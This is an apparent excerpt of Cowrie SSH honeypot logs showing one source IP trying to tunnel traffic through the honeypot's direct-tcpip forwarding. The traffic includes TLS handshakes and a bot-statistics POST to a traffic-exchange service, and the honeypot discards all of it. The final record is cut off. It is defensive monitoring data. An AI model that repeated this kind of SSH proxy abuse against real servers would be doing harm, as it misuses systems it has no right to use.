{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8eO\\x9c\\xd8\\r\\xd5\\xed\\xf2l\\xe3\\x86y\\xc2z\\xa7\\x1e\\xde{\\xe8\\xd5\\xd0\\x89F\\x18=4\\xcf\\xfc\\xc0\\xd0\\xdc7 \\x10\\xb1\\x0f\\xcd](\\xc5\\xc2\\x07\\xb8\\x1a/\\xfd\\xef\\xea:AQ\\x11\\x91t\\x9eI\\xfc(\\x00\\xc4\\xee\\xff\\xd1Z\\x14\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xab\\x16F\\xa3\\xf0\\xb6Gn\\xd4\\xdf\\x8d\\x0fd\\xed\\xdasb\\x98V\\xfc\\xd3\\xf8p\\x134r\\xc5\\x1f\\x9b\\xeami\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8eO\\x9c\\xd8\\r\\xd5\\xed\\xf2l\\xe3\\x86y\\xc2z\\xa7\\x1e\\xde{\\xe8\\xd5\\xd0\\x89F\\x18=4\\xcf\\xfc\\xc0\\xd0\\xdc7 \\x10\\xb1\\x0f\\xcd](\\xc5\\xc2\\x07\\xb8\\x1a/\\xfd\\xef\\xea:AQ\\x11\\x91t\\x9eI\\xfc(\\x00\\xc4\\xee\\xff\\xd1Z\\x14\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xab\\x16F\\xa3\\xf0\\xb6Gn\\xd4\\xdf\\x8d\\x0fd\\xed\\xdasb\\x98V\\xfc\\xd3\\xf8p\\x134r\\xc5\\x1f\\x9b\\xeami\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:09.902725Z","src_ip":"23.175.50.47","session":"72cc083ff3a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:11.974488Z","src_ip":"23.175.50.47","session":"72cc083ff3a6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:18.317823Z","session":"55c36ca442a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:18.382324Z","src_ip":"23.175.50.47","session":"55c36ca442a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=PG5yYjhYQEVtV2xKMHYkfQ%3D%3DD0Op9NONqpyje5C%2BvLmpTLzXJ3UAKAjz8B9SSoaEcTX0m3UeB6InGER%2BCAtHYboIHGBr4TUIptAOwoCPc%2Fw3FEmsh%2B%2FlyuXzwxgkPU0TIDnLckcd8aYL4qqzqDcWz9rzbU2LzjwxWLo0Pvdxrk%2B7zFPwpxnm2518p9cPz9ooidIFAYtwRl%2BPDG8umRMQGgh4dL7wFe0KMzdc3fKJymHDn4tkTBJEsEXexfswrYCsYrNj81w63HgBDdRnB7ojtJnyyp01x0GozmkX0ItC%2Fz95FzVEhUixEDIVxZj6h%2BnS%2BdhyDbwoJwY5MAd%2BEXSYhpAL7sj9U8VVdZC5HWMBRPrX4OZi4cOxGvg5lMIKUkfZfS3vaIWVOE7HkBTc4T%2FdfTTzggRFstt9kjVusiJhi4S4t%2FpbizFlrYJ2bbjWc3JhQwHt3vaznSPQGPjmBZOTPESpfUYng5YTgMepJd2PvKDfL1Ybp%2Bngtr16Z6sqoI9HOyHLS2CWJoCdAF2%2Bh29OYPd8woxzpMEhLqkrD38A%2F1dlNgC9ctXRLXC2JqLep2xP7xctSwEnOjkk0RJh%2FzmSma2lrtJ2Zu5CMcsJzY%2BWe2J%2F%2F1yncqjbaS1CJD1iUQlgq8hGwqehtBvALJ6yPuU9kIqwH%2BLxUKMvtLN2FsBAUoP%2BqnLLuYY9ip7snvLNTa6ni%2FdZFcab99TWMZxN1tCiFMD2FRXQKOYrUsET8XODlBblVirCHT%2BC72V9OfRDMB9Kv5aFvzers63nibX58uZWePXjLVfkaTq6OOuLkAmpZWBWVObcpyPzqCXBnBYpmXpW641cfZyFL8VYpGiy8wlsCpExbsHczjzZY0lSNXA1GXvwleTxSAc4Qq5e4miNzcUPH08cMbl4RWpN63edYVQY7V2NoUqYa5kQz1LJAPh5iJQF7dTJfE649jfck4hd%2F%2FIYfMaZC7%2Flm4JYmzmVZgYc%2Blo7MDrhFCnpOW6yscHXIzolsrDh0qHQvjka4iHLPUN0Z%2B5MyuJsotzInnHu93BNjXGB13jRr3e0hLEgDkXg%2B4TJJoEuGaZde%2FAdKmhGV%2BN%2Bx1S0o5aGAiCP0ZIndsCEjBOp'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=PG5yYjhYQEVtV2xKMHYkfQ%3D%3DD0Op9NONqpyje5C%2BvLmpTLzXJ3UAKAjz8B9SSoaEcTX0m3UeB6InGER%2BCAtHYboIHGBr4TUIptAOwoCPc%2Fw3FEmsh%2B%2FlyuXzwxgkPU0TIDnLckcd8aYL4qqzqDcWz9rzbU2LzjwxWLo0Pvdxrk%2B7zFPwpxnm2518p9cPz9ooidIFAYtwRl%2BPDG8umRMQGgh4dL7wFe0KMzdc3fKJymHDn4tkTBJEsEXexfswrYCsYrNj81w63HgBDdRnB7ojtJnyyp01x0GozmkX0ItC%2Fz95FzVEhUixEDIVxZj6h%2BnS%2BdhyDbwoJwY5MAd%2BEXSYhpAL7sj9U8VVdZC5HWMBRPrX4OZi4cOxGvg5lMIKUkfZfS3vaIWVOE7HkBTc4T%2FdfTTzggRFstt9kjVusiJhi4S4t%2FpbizFlrYJ2bbjWc3JhQwHt3vaznSPQGPjmBZOTPESpfUYng5YTgMepJd2PvKDfL1Ybp%2Bngtr16Z6sqoI9HOyHLS2CWJoCdAF2%2Bh29OYPd8woxzpMEhLqkrD38A%2F1dlNgC9ctXRLXC2JqLep2xP7xctSwEnOjkk0RJh%2FzmSma2lrtJ2Zu5CMcsJzY%2BWe2J%2F%2F1yncqjbaS1CJD1iUQlgq8hGwqehtBvALJ6yPuU9kIqwH%2BLxUKMvtLN2FsBAUoP%2BqnLLuYY9ip7snvLNTa6ni%2FdZFcab99TWMZxN1tCiFMD2FRXQKOYrUsET8XODlBblVirCHT%2BC72V9OfRDMB9Kv5aFvzers63nibX58uZWePXjLVfkaTq6OOuLkAmpZWBWVObcpyPzqCXBnBYpmXpW641cfZyFL8VYpGiy8wlsCpExbsHczjzZY0lSNXA1GXvwleTxSAc4Qq5e4miNzcUPH08cMbl4RWpN63edYVQY7V2NoUqYa5kQz1LJAPh5iJQF7dTJfE649jfck4hd%2F%2FIYfMaZC7%2Flm4JYmzmVZgYc%2Blo7MDrhFCnpOW6yscHXIzolsrDh0qHQvjka4iHLPUN0Z%2B5MyuJsotzInnHu93BNjXGB13jRr3e0hLEgDkXg%2B4TJJoEuGaZde%2FAdKmhGV%2BN%2Bx1S0o5aGAiCP0ZIndsCEjBOp'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:18.385443Z","src_ip":"23.175.50.47","session":"55c36ca442a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:18.887654Z","session":"55c36ca442a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:19.000032Z","src_ip":"23.175.50.47","session":"55c36ca442a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Z0e\\xb2\\\\b\\x8a2\\x8f\\x88\\x16q\\x0b\\xf1\\xe6\\x80\\xccs9c4=C\\x02F\\xd7/\\xfdx\\xcb\\xd5\\xc1 \\x1f\\x82\\xe7\\xc6\\xae\\x96\\x95\\xe5[8\\xa7\\x8ar\\x9f\\xb9\\xde\\x98\\xd4\\xbex\\xf4vZ\\x99\\xf9\\xcd\\xf4%\\xf94\\xfd\\x98\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 X\\x08\\x81\\xe95\\xb5\\xed\\x99KU\\x85\\x06\\x87\\xafk^4~:\\xb3\\xfd\\xe6\\xfe\\x97\\xff\\xb4\\xc1\\xcfX\\xa1\\xf3I\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Z0e\\xb2\\\\b\\x8a2\\x8f\\x88\\x16q\\x0b\\xf1\\xe6\\x80\\xccs9c4=C\\x02F\\xd7/\\xfdx\\xcb\\xd5\\xc1 \\x1f\\x82\\xe7\\xc6\\xae\\x96\\x95\\xe5[8\\xa7\\x8ar\\x9f\\xb9\\xde\\x98\\xd4\\xbex\\xf4vZ\\x99\\xf9\\xcd\\xf4%\\xf94\\xfd\\x98\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 X\\x08\\x81\\xe95\\xb5\\xed\\x99KU\\x85\\x06\\x87\\xafk^4~:\\xb3\\xfd\\xe6\\xfe\\x97\\xff\\xb4\\xc1\\xcfX\\xa1\\xf3I\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:19.003315Z","src_ip":"23.175.50.47","session":"55c36ca442a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:19.115447Z","session":"55c36ca442a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:19.173786Z","src_ip":"23.175.50.47","session":"55c36ca442a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbduE:\\xe5\\x0en\\xf9\\xe7N\\x8b\\x0e\\xf5\\xb1\\xf0\\xf6\\x18\\x98\\n\"\\x15\\xa6\\x8d^\\x1c\\xe4\\xccH\\xbek*\\x1b \\n\\x9d7\\xe9\\xd48\\xaf\\x0b\\x12\\xb9\\t\\xcddE[\\x05\\x93A\\xbb\\x89\\xc2\\xf1Q\\xca\\xc6\\x84\\x93ut\\x15H\\x97\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa0\\xb0Y\\x03X\\xb3;\\xban8\\x03\\xbc\\x9b\\xd3-\\xeb\\xae/\\'\\xb4g\\x0e\\x86b\\xa9\\xdd\\xd8\\x9c\\x93\\xa5\\x1eO\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbduE:\\xe5\\x0en\\xf9\\xe7N\\x8b\\x0e\\xf5\\xb1\\xf0\\xf6\\x18\\x98\\n\"\\x15\\xa6\\x8d^\\x1c\\xe4\\xccH\\xbek*\\x1b 